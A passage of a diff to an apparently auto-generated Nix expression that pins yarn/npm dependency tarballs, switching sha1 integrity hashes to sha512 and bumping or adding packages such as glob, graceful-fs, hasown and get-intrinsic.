     {
@@ -1341,7 +1533,7 @@ rec {
       path = fetchurl {
         name = "fill_range___fill_range_4.0.0.tgz";
         url = "https://registry.yarnpkg.com/fill-range/-/fill-range-4.0.0.tgz";
-        sha1 = "1USBHUKPmOsGpj3EAtJAPDKMOPc=";
+        sha512 = "VcpLTWqWDiTerugjj8e3+esbg+skS3M9e54UuR3iCeIDMXCLTsAH8hTSzDQU/X6/6t3eYkOKoZSef2PlU6U1XQ==";
       };
     }
     {
@@ -1349,7 +1541,7 @@ rec {
       path = fetchurl {
         name = "find_up___find_up_2.1.0.tgz";
         url = "https://registry.yarnpkg.com/find-up/-/find-up-2.1.0.tgz";
-        sha1 = "RdG35QbHF93UgndaK3eSCjwMV6c=";
+        sha512 = "NWzkk0jSJtTt08+FBFMvXoeZnOJD+jTtsRmBYbAIzJdX6l7dLgR7CTubCM5/eDdPUBvLCeVasP1brfVR/9/EZQ==";
       };
     }
     {
@@ -1389,7 +1581,15 @@ rec {
       path = fetchurl {
         name = "fn_name___fn_name_2.0.1.tgz";
         url = "https://registry.yarnpkg.com/fn-name/-/fn-name-2.0.1.tgz";
-        sha1 = "UhTXU3pNBqSjAcDMJi/rhBiAAuc=";
+        sha512 = "oIDB1rXf3BUnn00bh2jVM0byuqr94rBh6g7ZfdKcbmp1we2GQtPzKdloyvBXHs+q3fvxB8EqX5ecFba3RwCSjA==";
+      };
+    }
+    {
+      name = "for_each___for_each_0.3.5.tgz";
+      path = fetchurl {
+        name = "for_each___for_each_0.3.5.tgz";
+        url = "https://registry.yarnpkg.com/for-each/-/for-each-0.3.5.tgz";
+        sha512 = "dKx12eRCVIzqCxFGplyFKJMPvLEWgmNtUrpTiJIR5u97zEhRG8ySrtboPHZXx7daLxQVrl643cTzbab2tkQjxg==";
       };
     }
     {
@@ -1397,7 +1597,7 @@ rec {
       path = fetchurl {
         name = "for_in___for_in_1.0.2.tgz";
         url = "https://registry.yarnpkg.com/for-in/-/for-in-1.0.2.tgz";
-        sha1 = "gQaNKVqBQuwKxybG4iAMMPttXoA=";
+        sha512 = "7EwmXrOjyL+ChxMhmG5lnW9MPt1aIeZEwKhQzoBUdTV0N3zuwWDZYVJatDvZ2OyzPUvdIAZDsCetk3coyMfcnQ==";
       };
     }
     {
@@ -1405,7 +1605,7 @@ rec {
       path = fetchurl {
         name = "fragment_cache___fragment_cache_0.2.1.tgz";
         url = "https://registry.yarnpkg.com/fragment-cache/-/fragment-cache-0.2.1.tgz";
-        sha1 = "QpD60n8T6Jvn8zeZxrxaCr//DRk=";
+        sha512 = "GMBAbW9antB8iZRHLoGw0b3HANt57diZYFO/HL1JGIC1MjKrdmhxvrJbupnVvpys0zsz7yBApXdQyfepKly2kA==";
       };
     }
     {
@@ -1413,15 +1613,23 @@ rec {
       path = fetchurl {
         name = "fs.realpath___fs.realpath_1.0.0.tgz";
         url = "https://registry.yarnpkg.com/fs.realpath/-/fs.realpath-1.0.0.tgz";
-        sha1 = "FQStJSMVjKpA20onh8sBQRmU6k8=";
+        sha512 = "OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw==";
       };
     }
     {
-      name = "function_bind___function_bind_1.1.1.tgz";
+      name = "function_bind___function_bind_1.1.2.tgz";
       path = fetchurl {
-        name = "function_bind___function_bind_1.1.1.tgz";
-        url = "https://registry.yarnpkg.com/function-bind/-/function-bind-1.1.1.tgz";
-        sha512 = "yIovAzMX49sF8Yl58fSCWJ5svSLuaibPxXQJFLmBObTuCr0Mf1KiPopGM9NiFjiYBCbfaa2Fh6breQ6ANVTI0A==";
+        name = "function_bind___function_bind_1.1.2.tgz";
+        url = "https://registry.yarnpkg.com/function-bind/-/function-bind-1.1.2.tgz";
+        sha512 = "7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==";
+      };
+    }
+    {
+      name = "function.prototype.name___function.prototype.name_1.1.8.tgz";
+      path = fetchurl {
+        name = "function.prototype.name___function.prototype.name_1.1.8.tgz";
+        url = "https://registry.yarnpkg.com/function.prototype.name/-/function.prototype.name-1.1.8.tgz";
+        sha512 = "e5iwyodOHhbMr/yNrc7fDYG4qlbIvI5gajyzPnb5TCwyhjApznQh1BMFou9b30SevY43gCJKXycoCBjMbsuW0Q==";
       };
     }
     {
@@ -1429,7 +1637,15 @@ rec {
       path = fetchurl {
         name = "functional_red_black_tree___functional_red_black_tree_1.0.1.tgz";
         url = "https://registry.yarnpkg.com/functional-red-black-tree/-/functional-red-black-tree-1.0.1.tgz";
-        sha1 = "GwqzvVU7Kg1jmdKcDj6gslIHgyc=";
+        sha512 = "dsKNQNdj6xA3T+QlADDA7mOSlX0qiMINjn0cgr+eGHGsbSHzTabcIogz2+p/iqP1Xs6EP/sS2SbqH+brGTbq0g==";
+      };
+    }
+    {
+      name = "functions_have_names___functions_have_names_1.2.3.tgz";
+      path = fetchurl {
+        name = "functions_have_names___functions_have_names_1.2.3.tgz";
+        url = "https://registry.yarnpkg.com/functions-have-names/-/functions-have-names-1.2.3.tgz";
+        sha512 = "xckBUXyTIqT97tq2x2AMb+g163b5JFysYk0x4qxNFwbfQkmNZoiRHb6sPzI9/QV33WeuvVYBUIiD4NzNIyqaRQ==";
       };
     }
     {
@@ -1448,6 +1664,14 @@ rec {
         sha512 = "3t6rVToeoZfYSGd8YoLFR2DJkiQrIiUrGcjvFX2mDw3bn6k2OtwHN0TNCLbBO+w8qTvimhDkv+LSscbJY1vE6w==";
       };
     }
+    {
+      name = "get_intrinsic___get_intrinsic_1.3.0.tgz";
+      path = fetchurl {
+        name = "get_intrinsic___get_intrinsic_1.3.0.tgz";
+        url = "https://registry.yarnpkg.com/get-intrinsic/-/get-intrinsic-1.3.0.tgz";
+        sha512 = "9fSjSaos/fRIVIp+xSJlE6lfwhES7LNtKaCBIamHsjr2na1BiABJPo0mOjjz8GJDURarmCPGqaiVg5mfjb98CQ==";
+      };
+    }
     {
       name = "get_own_enumerable_property_symbols___get_own_enumerable_property_symbols_3.0.2.tgz";
       path = fetchurl {
@@ -1456,12 +1680,20 @@ rec {
         sha512 = "I0UBV/XOz1XkIJHEUDMZAbzCThU/H8DxmSfmdGcKPnVhu2VfFqr34jr9777IyaTYvxjedWhqVIilEDsCdP5G6g==";
       };
     }
+    {
+      name = "get_proto___get_proto_1.0.1.tgz";
+      path = fetchurl {
+        name = "get_proto___get_proto_1.0.1.tgz";
+        url = "https://registry.yarnpkg.com/get-proto/-/get-proto-1.0.1.tgz";
+        sha512 = "sTSfBjoXBp89JvIKIefqw7U2CCebsc74kiY6awiGogKtoSGbgjYE/G/+l9sF3MWFPNc9IcoOC4ODfKHfxFmp0g==";
+      };
+    }
     {
       name = "get_stdin___get_stdin_5.0.1.tgz";
       path = fetchurl {
         name = "get_stdin___get_stdin_5.0.1.tgz";
         url = "https://registry.yarnpkg.com/get-stdin/-/get-stdin-5.0.1.tgz";
-        sha1 = "Ei4WFZHiH/TFJTAwVpPyDmOTo5g=";
+        sha512 = "jZV7n6jGE3Gt7fgSTJoz91Ak5MuTLwMwkoYdjxuJ/AmjIsE1UC03y/IWkZCQGEvVNS9qoRNwy5BCqxImv0FVeA==";
       };
     }
     {
@@ -1477,7 +1709,7 @@ rec {
       path = fetchurl {
         name = "get_stream___get_stream_3.0.0.tgz";
         url = "https://registry.yarnpkg.com/get-stream/-/get-stream-3.0.0.tgz";
-        sha1 = "jpQ9E1jcN1VQVOy+LtsFqhdO3hQ=";
+        sha512 = "GlhdIUuVakc8SJ6kK0zAFbiGzRFzNnY4jUuEbV9UROo4Y+0Ny4fjvcZFVTeDA4odpFyOQzaw6hXukJSq/f28sQ==";
       };
     }
     {
@@ -1488,20 +1720,28 @@ rec {
         sha512 = "GMat4EJ5161kIy2HevLlr4luNjBgvmj413KaQA7jt4V8B4RDsfpHk7WQ9GVqfYyyx8OS/L66Kox+rJRNklLK7w==";
       };
     }
+    {
+      name = "get_symbol_description___get_symbol_description_1.1.0.tgz";
+      path = fetchurl {
+        name = "get_symbol_description___get_symbol_description_1.1.0.tgz";
+        url = "https://registry.yarnpkg.com/get-symbol-description/-/get-symbol-description-1.1.0.tgz";
+        sha512 = "w9UMqWwJxHNOvoNzSJ2oPF5wvYcvP7jUvYzhp67yEhTi17ZDBBC1z9pTdGuzjD+EFIqLSYRweZjqfiPzQ06Ebg==";
+      };
+    }
     {
       name = "get_value___get_value_2.0.6.tgz";
       path = fetchurl {
         name = "get_value___get_value_2.0.6.tgz";
         url = "https://registry.yarnpkg.com/get-value/-/get-value-2.0.6.tgz";
-        sha1 = "3BXKHGcjh8p2vTesCjlbogQqLCg=";
+        sha512 = "Ln0UQDlxH1BapMu3GPtf7CuYNwRZf2gwCuPqbyG6pB8WfmFpzqcy4xtAaAMUhnNqjMKTiCPZG2oMT3YSx8U2NA==";
       };
     }
     {
-      name = "glob___glob_7.1.6.tgz";
+      name = "glob___glob_7.2.3.tgz";
       path = fetchurl {
-        name = "glob___glob_7.1.6.tgz";
-        url = "https://registry.yarnpkg.com/glob/-/glob-7.1.6.tgz";
-        sha512 = "LwaxwyZ72Lk7vZINtNNrywX0ZuLyStrdDtabefZKAY5ZGJhVtgdznluResxNmPitE0SAO+O26sWTHeKSI2wMBA==";
+        name = "glob___glob_7.2.3.tgz";
+        url = "https://registry.yarnpkg.com/glob/-/glob-7.2.3.tgz";
+        sha512 = "nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==";
       };
     }
     {
@@ -1509,7 +1749,7 @@ rec {
       path = fetchurl {
         name = "glob___glob_7.0.6.tgz";
         url = "https://registry.yarnpkg.com/glob/-/glob-7.0.6.tgz";
-        sha1 = "IRuvr0nlJbjNkyYNFKsTYVKz9Xo=";
+        sha512 = "f8c0rE8JiCxpa52kWPAOa3ZaYEnzofDzCQLCn3Vdk0Z5OVLq3BsRFJI4S4ykpeVW6QMGBUkMeUpoEgWnMTnw5Q==";
       };
     }
     {
@@ -1520,20 +1760,36 @@ rec {
         sha512 = "WOBp/EEGUiIsJSp7wcv/y6MO+lV9UoncWqxuFfm8eBwzWNgyfBd6Gz+IeKQ9jCmyhoH99g15M3T+QaVHFjizVA==";
       };
     }
+    {
+      name = "globalthis___globalthis_1.0.4.tgz";
+      path = fetchurl {
+        name = "globalthis___globalthis_1.0.4.tgz";
+        url = "https://registry.yarnpkg.com/globalthis/-/globalthis-1.0.4.tgz";
+        sha512 = "DpLKbNU4WylpxJykQujfCcwYWiV/Jhm50Goo0wrVILAv5jOr9d+H+UR3PhSCD2rCCEIg0uc+G+muBTwD54JhDQ==";
+      };
+    }
     {
       name = "globby___globby_6.1.0.tgz";
       path = fetchurl {
         name = "globby___globby_6.1.0.tgz";
         url = "https://registry.yarnpkg.com/globby/-/globby-6.1.0.tgz";
-        sha1 = "9abXDoOV4hyFj7BInWTfAkJNUGw=";
+        sha512 = "KVbFv2TQtbzCoxAnfD6JcHZTYCzyliEaaeM/gH8qQdkKr5s0OP9scEgvdcngyk7AVdY6YVW/TJHd+lQ/Df3Daw==";
       };
     }
     {
-      name = "graceful_fs___graceful_fs_4.2.4.tgz";
+      name = "gopd___gopd_1.2.0.tgz";
       path = fetchurl {
-        name = "graceful_fs___graceful_fs_4.2.4.tgz";
-        url = "https://registry.yarnpkg.com/graceful-fs/-/graceful-fs-4.2.4.tgz";
-        sha512 = "WjKPNJF79dtJAVniUlGGWHYGz2jWxT6VhN/4m1NdkbZ2nOsEF+cI1Edgql5zCRhs/VsQYRvrXctxktVXZUkixw==";
+        name = "gopd___gopd_1.2.0.tgz";
+        url = "https://registry.yarnpkg.com/gopd/-/gopd-1.2.0.tgz";
+        sha512 = "ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg==";
+      };
+    }
+    {
+      name = "graceful_fs___graceful_fs_4.2.11.tgz";
+      path = fetchurl {
+        name = "graceful_fs___graceful_fs_4.2.11.tgz";
+        url = "https://registry.yarnpkg.com/graceful-fs/-/graceful-fs-4.2.11.tgz";
+        sha512 = "RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==";
       };
     }
     {
@@ -1541,7 +1797,15 @@ rec {
       path = fetchurl {
         name = "has_ansi___has_ansi_2.0.0.tgz";
         url = "https://registry.yarnpkg.com/has-ansi/-/has-ansi-2.0.0.tgz";
-        sha1 = "NPUEnOHs3ysGSa8+8k5F7TVBbZE=";
+        sha512 = "C8vBJ8DwUCx19vhm7urhTuUsr4/IyP6l4VzNQDv+ryHQObW3TTTp9yB68WpYgRe2bbaGuZ/se74IqFeVnMnLZg==";
+      };
+    }
+    {
+      name = "has_bigints___has_bigints_1.1.0.tgz";
+      path = fetchurl {
+        name = "has_bigints___has_bigints_1.1.0.tgz";
+        url = "https://registry.yarnpkg.com/has-bigints/-/has-bigints-1.1.0.tgz";
+        sha512 = "R3pbpkcIqv2Pm3dUwgjclDRVmWpTJW2DcMzcIhEXEx1oh/CEMObMm3KLmRJOdvhM7o4uQBnwr8pzRK2sJWIqfg==";
       };
     }
     {
@@ -1549,7 +1813,7 @@ rec {
       path = fetchurl {
         name = "has_flag___has_flag_2.0.0.tgz";
         url = "https://registry.yarnpkg.com/has-flag/-/has-flag-2.0.0.tgz";
-        sha1 = "6CB68cx7MNRGzHC3NLXovhj4jVE=";
+        sha512 = "P+1n3MnwjR/Epg9BBo1KT8qbye2g2Ou4sFumihwt6I4tsUX7jnLcX4BTOSKg/B1ZrIYMN9FcEnG4x5a7NB8Eng==";
       };
     }
     {
@@ -1557,15 +1821,39 @@ rec {
       path = fetchurl {
         name = "has_flag___has_flag_3.0.0.tgz";
         url = "https://registry.yarnpkg.com/has-flag/-/has-flag-3.0.0.tgz";
-        sha1 = "tdRU3CGZriJWmfNGfloH87lVuv0=";
+        sha512 = "sKJf1+ceQBr4SMkvQnBDNDtf4TXpVhVGateu0t918bl30FnbE2m4vNLX+VWe/dpjlb+HugGYzW7uQXH98HPEYw==";
       };
     }
     {
-      name = "has_symbols___has_symbols_1.0.1.tgz";
+      name = "has_property_descriptors___has_property_descriptors_1.0.2.tgz";
       path = fetchurl {
-        name = "has_symbols___has_symbols_1.0.1.tgz";
-        url = "https://registry.yarnpkg.com/has-symbols/-/has-symbols-1.0.1.tgz";
-        sha512 = "PLcsoqu++dmEIZB+6totNFKq/7Do+Z0u4oT0zKOJNl3lYK6vGwwu2hjHs+68OEZbTjiUE9bgOABXbP/GvrS0Kg==";
+        name = "has_property_descriptors___has_property_descriptors_1.0.2.tgz";
+        url = "https://registry.yarnpkg.com/has-property-descriptors/-/has-property-descriptors-1.0.2.tgz";
+        sha512 = "55JNKuIW+vq4Ke1BjOTjM2YctQIvCT7GFzHwmfZPGo5wnrgkid0YQtnAleFSqumZm4az3n2BS+erby5ipJdgrg==";
+      };
+    }
+    {
+      name = "has_proto___has_proto_1.2.0.tgz";
+      path = fetchurl {
+        name = "has_proto___has_proto_1.2.0.tgz";
+        url = "https://registry.yarnpkg.com/has-proto/-/has-proto-1.2.0.tgz";
+        sha512 = "KIL7eQPfHQRC8+XluaIw7BHUwwqL19bQn4hzNgdr+1wXoU0KKj6rufu47lhY7KbJR2C6T6+PfyN0Ea7wkSS+qQ==";
+      };
+    }
+    {
+      name = "has_symbols___has_symbols_1.1.0.tgz";
+      path = fetchurl {
+        name = "has_symbols___has_symbols_1.1.0.tgz";
+        url = "https://registry.yarnpkg.com/has-symbols/-/has-symbols-1.1.0.tgz";
+        sha512 = "1cDNdwJ2Jaohmb3sg4OmKaMBwuC48sYni5HUw2DvsC8LjGTLK9h+eb1X6RyuOHe4hT0ULCW68iomhjUoKUqlPQ==";
+      };
+    }
+    {
+      name = "has_tostringtag___has_tostringtag_1.0.2.tgz";
+      path = fetchurl {
+        name = "has_tostringtag___has_tostringtag_1.0.2.tgz";
+        url = "https://registry.yarnpkg.com/has-tostringtag/-/has-tostringtag-1.0.2.tgz";
+        sha512 = "NqADB8VjPFLM2V0VvHUewwwsw0ZWBaIdgo+ieHtK3hasLz4qeCRjYcqfB6AQrBggRKppKF8L52/VqdVsO47Dlw==";
       };
     }
     {
@@ -1573,7 +1861,7 @@ rec {
       path = fetchurl {
         name = "has_value___has_value_0.3.1.tgz";
         url = "https://registry.yarnpkg.com/has-value/-/has-value-0.3.1.tgz";
-        sha1 = "ex9YutpiyoJ+wKIHgCVlSEWZXh8=";
+        sha512 = "gpG936j8/MzaeID5Yif+577c17TxaDmhuyVgSwtnL/q8UUTySg8Mecb+8Cf1otgLoD7DDH75axp86ER7LFsf3Q==";
       };
     }
     {
@@ -1581,7 +1869,7 @@ rec {
       path = fetchurl {
         name = "has_value___has_value_1.0.0.tgz";
         url = "https://registry.yarnpkg.com/has-value/-/has-value-1.0.0.tgz";
-        sha1 = "GLKB2lhbHFxR3vJMkw7SmgvmsXc=";
+        sha512 = "IBXk4GTsLYdQ7Rvt+GRBrFSVEkmuOUy4re0Xjd9kJSUQpnTrWR4/y9RpfexN9vkAPMFuQoeWKwqzPozRTlasGw==";
       };
     }
     {
@@ -1589,7 +1877,7 @@ rec {
       path = fetchurl {
         name = "has_values___has_values_0.1.4.tgz";
         url = "https://registry.yarnpkg.com/has-values/-/has-values-0.1.4.tgz";
-        sha1 = "bWHeldkd/Km5oCCJrThL/49it3E=";
+        sha512 = "J8S0cEdWuQbqD9//tlZxiMuMNmxB8PlEwvYwuxsTmR1G5RXUePEX/SJn7aD0GMLieuZYSwNH0cQuJGwnYunXRQ==";
       };
     }
     {
@@ -1597,23 +1885,23 @@ rec {
       path = fetchurl {
         name = "has_values___has_values_1.0.0.tgz";
         url = "https://registry.yarnpkg.com/has-values/-/has-values-1.0.0.tgz";
-        sha1 = "lbC2P+whRmGab+V/51Yo1aOe/k8=";
+        sha512 = "ODYZC64uqzmtfGMEAX/FvZiRyWLpAC3vYnNunURUnkGVTS+mI0smVsWaPydRBsE3g+ok7h960jChO8mFcWlHaQ==";
       };
     }
     {
-      name = "has___has_1.0.3.tgz";
+      name = "hasown___hasown_2.0.2.tgz";
       path = fetchurl {
-        name = "has___has_1.0.3.tgz";
-        url = "https://registry.yarnpkg.com/has/-/has-1.0.3.tgz";
-        sha512 = "f2dvO0VU6Oej7RkWJGrehjbzMAjFp5/VKPp5tTpWIV4JHHZK1/BxbFRtf/siA2SWTe09caDmVtYYzWEIbBS4zw==";
+        name = "hasown___hasown_2.0.2.tgz";
+        url = "https://registry.yarnpkg.com/hasown/-/hasown-2.0.2.tgz";
+        sha512 = "0hJU9SCPvmMzIBdZFqNPXWa6dqh7WdH0cII9y+CyS8rG3nL48Bclra9HmKhVVUHyPWNH5Y7xDwAB7bfgSjkUMQ==";
       };
     }
     {
-      name = "hosted_git_info___hosted_git_info_2.8.8.tgz";
+      name = "hosted_git_info___hosted_git_info_2.8.9.tgz";
       path = fetchurl {
-        name = "hosted_git_info___hosted_git_info_2.8.8.tgz";
-        url = "https://registry.yarnpkg.com/hosted-git-info/-/hosted-git-info-2.8.8.tgz";
-        sha512 = "f/wzC2QaWBs7t9IYqB4T3sR1xviIViXJRJTWBlx2Gf3g0Xi5vI7Yy4koXQ1c9OYDGHN9sBy1DQ2AB8fqZBWhUg==";
+        name = "hosted_git_info___hosted_git_info_2.8.9.tgz";
+        url = "https://registry.yarnpkg.com/hosted-git-info/-/hosted-git-info-2.8.9.tgz";
+        sha512 = "mxIDAb9Lsm6DoOJ7xH+5+X4y1LU/4Hi50L9C5sIswK3JzULS4bwk1FvjdBgvYR4bzT4tuUQiC15FE2f5HbLvYw==";
       };
     }
     {
@@ -1649,11 +1937,11 @@ rec {
       };
     }
     {
-      name = "ignore___ignore_5.1.4.tgz";
+      name = "ignore___ignore_5.3.2.tgz";
       path = fetchurl {
-        name = "ignore___ignore_5.1.4.tgz";
-        url = "https://registry.yarnpkg.com/ignore/-/ignore-5.1.4.tgz";
-        sha512 = "MzbUSahkTW1u7JpKKjY7LCARd1fU5W2rLdxlM4kdkayuCwZImjkpluF9CM1aLewYJguPDqewLam18Y6AU69A8A==";
+        name = "ignore___ignore_5.3.2.tgz";
+        url = "https://registry.yarnpkg.com/ignore/-/ignore-5.3.2.tgz";
+        sha512 = "hsBTNUqQTDwkWtcdYI2i06Y/nUBEsNEDJKjWdigLvegy8kDuJAS8uRlpkkcQpyEXL0Z/pjDy5HBmMjRCJ2gq+g==";
       };
     }
     {
@@ -1661,15 +1949,15 @@ rec {
       path = fetchurl {
         name = "import_fresh___import_fresh_2.0.0.tgz";
         url = "https://registry.yarnpkg.com/import-fresh/-/import-fresh-2.0.0.tgz";
-        sha1 = "2BNVwVYS04bGH53dOSLUMEgipUY=";
+        sha512 = "eZ5H8rcgYazHbKC3PG4ClHNykCSxtAhxSSEM+2mb+7evD2CKF5V7c0dNum7AdpDh0ZdICwZY9sRSn8f+KH96sg==";
       };
     }
     {
-      name = "import_fresh___import_fresh_3.2.1.tgz";
+      name = "import_fresh___import_fresh_3.3.1.tgz";
       path = fetchurl {
-        name = "import_fresh___import_fresh_3.2.1.tgz";
-        url = "https://registry.yarnpkg.com/import-fresh/-/import-fresh-3.2.1.tgz";
-        sha512 = "6e1q1cnWP2RXD9/keSkxHScg508CdXqXWgWBaETNhyuBFz+kUZlKboh+ISK+bU++DmbHimVBrOz/zzPe0sZ3sQ==";
+        name = "import_fresh___import_fresh_3.3.1.tgz";
+        url = "https://registry.yarnpkg.com/import-fresh/-/import-fresh-3.3.1.tgz";
+        sha512 = "TR3KfrTZTYLPB6jUjfx6MF9WcWrHL9su5TObK4ZkYgBdWKPOFoSoQIdEuTuR82pmtxH2spWG9h6etwfr1pLBqQ==";
       };
     }
     {
@@ -1677,7 +1965,7 @@ rec {
       path = fetchurl {
         name = "imurmurhash___imurmurhash_0.1.4.tgz";
         url = "https://registry.yarnpkg.com/imurmurhash/-/imurmurhash-0.1.4.tgz";
-        sha1 = "khi5srkoojixPcT7a21XbyMUU+o=";
+        sha512 = "JmXMZ6wuvDmLiHEml9ykzqO6lwFbof0GG4IkcGaENdCRDDmMVnny7s5HsIgHCbaq0w2MyPhDqkhTUgS2LU2PHA==";
       };
     }
     {
@@ -1685,7 +1973,7 @@ rec {
       path = fetchurl {
         name = "indent_string___indent_string_3.2.0.tgz";
         url = "https://registry.yarnpkg.com/indent-string/-/indent-string-3.2.0.tgz";
-        sha1 = "Sl/W0nzDMvN+VBmlBNu4NxBckok=";
+        sha512 = "BYqTHXTGUIvg7t1r4sJNKcbDZkL92nkXA8YtRpbjFHRHGDL/NtUeiBJMeE60kIFN/Mg8ESaWQvftaYMGJzQZCQ==";
       };
     }
     {
@@ -1693,7 +1981,7 @@ rec {
       path = fetchurl {
         name = "inflight___inflight_1.0.6.tgz";
         url = "https://registry.yarnpkg.com/inflight/-/inflight-1.0.6.tgz";
-        sha1 = "Sb1jMdfQLQwJvJEKEHW6gWW1bfk=";
+        sha512 = "k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA==";
       };
     }
     {
@@ -1721,11 +2009,11 @@ rec {
       };
     }
     {
-      name = "internal_slot___internal_slot_1.0.2.tgz";
+      name = "internal_slot___internal_slot_1.1.0.tgz";
       path = fetchurl {
-        name = "internal_slot___internal_slot_1.0.2.tgz";
-        url = "https://registry.yarnpkg.com/internal-slot/-/internal-slot-1.0.2.tgz";
-        sha512 = "2cQNfwhAfJIkU4KZPkDI+Gj5yNNnbqi40W9Gge6dfnk4TocEVm00B3bdiL+JINrbGJil2TeHvM4rETGzk/f/0g==";
+        name = "internal_slot___internal_slot_1.1.0.tgz";
+        url = "https://registry.yarnpkg.com/internal-slot/-/internal-slot-1.1.0.tgz";
+        sha512 = "4gd7VpWNQNB4UKKCFFVcp1AVv+FMOgs9NKzjHKusc8jTMhd5eL1NqQqOpE0KzMds804/yHlglp3uxgluOqAPLw==";
       };
     }
     {
@@ -1733,31 +2021,31 @@ rec {
       path = fetchurl {
         name = "invert_kv___invert_kv_1.0.0.tgz";
         url = "https://registry.yarnpkg.com/invert-kv/-/invert-kv-1.0.0.tgz";
-        sha1 = "EEqOSqym09jNFXqO+L+rLXo//bY=";
+        sha512 = "xgs2NH9AE66ucSq4cNG1nhSFghr5l6tdL15Pk+jl46bmmBapgoaY/AacXyaDznAqmGL99TiLSQgO/XazFSKYeQ==";
       };
     }
     {
-      name = "is_accessor_descriptor___is_accessor_descriptor_0.1.6.tgz";
+      name = "is_accessor_descriptor___is_accessor_descriptor_1.0.1.tgz";
       path = fetchurl {
-        name = "is_accessor_descriptor___is_accessor_descriptor_0.1.6.tgz";
-        url = "https://registry.yarnpkg.com/is-accessor-descriptor/-/is-accessor-descriptor-0.1.6.tgz";
-        sha1 = "qeEss66Nh2cn7u84Q/igiXtcmNY=";
+        name = "is_accessor_descriptor___is_accessor_descriptor_1.0.1.tgz";
+        url = "https://registry.yarnpkg.com/is-accessor-descriptor/-/is-accessor-descriptor-1.0.1.tgz";
+        sha512 = "YBUanLI8Yoihw923YeFUS5fs0fF2f5TSFTNiYAAzhhDscDa3lEqYuz1pDOEP5KvX94I9ey3vsqjJcLVFVU+3QA==";
       };
     }
     {
-      name = "is_accessor_descriptor___is_accessor_descriptor_1.0.0.tgz";
+      name = "is_arguments___is_arguments_1.2.0.tgz";
       path = fetchurl {
-        name = "is_accessor_descriptor___is_accessor_descriptor_1.0.0.tgz";
-        url = "https://registry.yarnpkg.com/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz";
-        sha512 = "m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==";
+        name = "is_arguments___is_arguments_1.2.0.tgz";
+        url = "https://registry.yarnpkg.com/is-arguments/-/is-arguments-1.2.0.tgz";
+        sha512 = "7bVbi0huj/wrIAOzb8U1aszg9kdi3KN/CyU19CTI7tAoZYEZoL9yCDXpbXN+uPsuWnP02cyug1gleqq+TU+YCA==";
       };
     }
     {
-      name = "is_arguments___is_arguments_1.0.4.tgz";
+      name = "is_array_buffer___is_array_buffer_3.0.5.tgz";
       path = fetchurl {
-        name = "is_arguments___is_arguments_1.0.4.tgz";
-        url = "https://registry.yarnpkg.com/is-arguments/-/is-arguments-1.0.4.tgz";
-        sha512 = "xPh0Rmt8NE65sNzvyUmWgI1tz3mKq74lGA0mL8LYZcoIzKOzDh6HmrYm3d18k60nHerC8A9Km8kYu87zfSFnLA==";
+        name = "is_array_buffer___is_array_buffer_3.0.5.tgz";
+        url = "https://registry.yarnpkg.com/is-array-buffer/-/is-array-buffer-3.0.5.tgz";
+        sha512 = "DDfANUiiG2wC1qawP66qlTugJeL5HyzMpfr8lLK+jMQirGzNod0B12cFB/9q838Ru27sBwfw78/rdoU7RERz6A==";
       };
     }
     {
@@ -1765,7 +2053,31 @@ rec {
       path = fetchurl {
         name = "is_arrayish___is_arrayish_0.2.1.tgz";
         url = "https://registry.yarnpkg.com/is-arrayish/-/is-arrayish-0.2.1.tgz";
-        sha1 = "d8mYQFJ6qOyxqLppe4BkWnqSap0=";
+        sha512 = "zz06S8t0ozoDXMG+ube26zeCTNXcKIPJZJi8hBrF4idCLms4CG9QtK7qBl1boi5ODzFpjswb5JPmHCbMpjaYzg==";
+      };
+    }
+    {
+      name = "is_async_function___is_async_function_2.1.1.tgz";
+      path = fetchurl {
+        name = "is_async_function___is_async_function_2.1.1.tgz";
+        url = "https://registry.yarnpkg.com/is-async-function/-/is-async-function-2.1.1.tgz";
+        sha512 = "9dgM/cZBnNvjzaMYHVoxxfPj2QXt22Ev7SuuPrs+xav0ukGB0S6d4ydZdEiM48kLx5kDV+QBPrpVnFyefL8kkQ==";
+      };
+    }
+    {
+      name = "is_bigint___is_bigint_1.1.0.tgz";
+      path = fetchurl {
+        name = "is_bigint___is_bigint_1.1.0.tgz";
+        url = "https://registry.yarnpkg.com/is-bigint/-/is-bigint-1.1.0.tgz";
+        sha512 = "n4ZT37wG78iz03xPRKJrHTdZbe3IicyucEtdRsV5yglwc3GyUfbAfpSeD0FJ41NbUNSt5wbhqfp1fS+BgnvDFQ==";
+      };
+    }
+    {
+      name = "is_boolean_object___is_boolean_object_1.2.2.tgz";
+      path = fetchurl {
+        name = "is_boolean_object___is_boolean_object_1.2.2.tgz";
+        url = "https://registry.yarnpkg.com/is-boolean-object/-/is-boolean-object-1.2.2.tgz";
+        sha512 = "wa56o2/ElJMYqjCjGkXri7it5FbebW5usLw/nPmCMs5DeZ7eziSYZhSmPRn0txqeW4LnAmQQU7FgqLpsEFKM4A==";
       };
     }
     {
@@ -1777,11 +2089,11 @@ rec {
       };
     }
     {
-      name = "is_callable___is_callable_1.1.5.tgz";
+      name = "is_callable___is_callable_1.2.7.tgz";
       path = fetchurl {
-        name = "is_callable___is_callable_1.1.5.tgz";
-        url = "https://registry.yarnpkg.com/is-callable/-/is-callable-1.1.5.tgz";
-        sha512 = "ESKv5sMCJB2jnHTWZ3O5itG+O128Hsus4K4Qh1h2/cgn2vbgnLSVqfV46AeJA9D5EeeLa9w81KUXMtn34zhX+Q==";
+        name = "is_callable___is_callable_1.2.7.tgz";
+        url = "https://registry.yarnpkg.com/is-callable/-/is-callable-1.2.7.tgz";
